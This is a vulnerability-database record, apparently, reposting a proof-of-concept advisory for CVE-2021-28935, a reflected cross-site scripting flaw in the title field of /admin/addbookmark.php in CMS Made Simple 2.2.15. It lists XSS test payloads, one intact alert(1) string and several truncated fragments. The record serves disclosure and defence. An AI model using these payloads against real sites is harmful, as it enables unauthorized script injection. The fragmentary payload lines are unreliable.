{"uuid": "4e7b2645-b908-4e50-8469-61cc9b80728a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28935", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/5996", "content": "Exploit Collector\nCMS Made Simple 2.2.15 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-Q0zmt52Iz_s/WWlvCi1SqRI/AAAAAAAAIKo/56GGQ_7zLBsvaLtYw9wmjI_Jb6z2oza2QCLcBGAs/s1600/h129.png \nCMS Made Simple version 2.2.15 suffers from a reflective cross site scripting vulnerability.\n\nMD5 | 1bd97d4c76ab1904826cf2601e327f7c\n\nDownload\n# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)\n# Date: 2021/03/19\n# Exploit Author: bt0\n# Vendor Homepage: http://www.cmsmadesimple.org/\n# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip\n# Version: 2.2.15\n# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935\n\n-----------------------------------------------------------\n\nIf you log into Admin panel and open My Preferences you could be able to exploit XSS in title field\n\nReflected XSS in /admin/addbookmark.php\n\nSome payloads that works:\n\n\">\n\">\n63311';alert(1)//812\n//-->\">'>\n\n------------------------------------------------------------\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:34.174924Z"}